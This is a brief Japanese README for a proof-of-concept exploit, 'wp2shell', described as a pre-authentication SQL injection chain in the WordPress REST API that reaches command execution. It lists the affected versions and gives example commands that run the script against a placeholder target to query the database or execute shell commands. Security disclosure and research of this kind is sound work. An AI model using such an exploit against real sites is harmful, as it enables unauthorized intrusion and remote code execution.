wp2shell PoC

WordPress REST API のバッチルート混乱チェーンに対する認証前タイミングベース SQL インジェクション PoC として、史上初の PoC です (CVE-2026-63030 + CVE-2026-60137)

単に管理者パスワードのクラックを試みるだけではなく、コマンド実行を達成しました。

影響を受けるバージョン: WordPress 6.9.0–6.9.4 および 7.0.0–7.0.1。6.9.5 と 7.0.2 で修正されました。

python3 poc.py https://target.example
python3 poc.py https://target.example 'SELECT DATABASE()'
python3 poc.py https://target.example -c "echo "you got pwned" > /tmp/pwned.txt && id"

研究: Searchlight Cyber · Aikido · Aikido Intel · WordPress

免責事項: この PoC は、許可された教育、セキュリティ研究、およびインシデント対応の目的のみに提供されます。つまり、所有しているシステム、または明示的なテスト許可を得たシステムでのみ使用してください。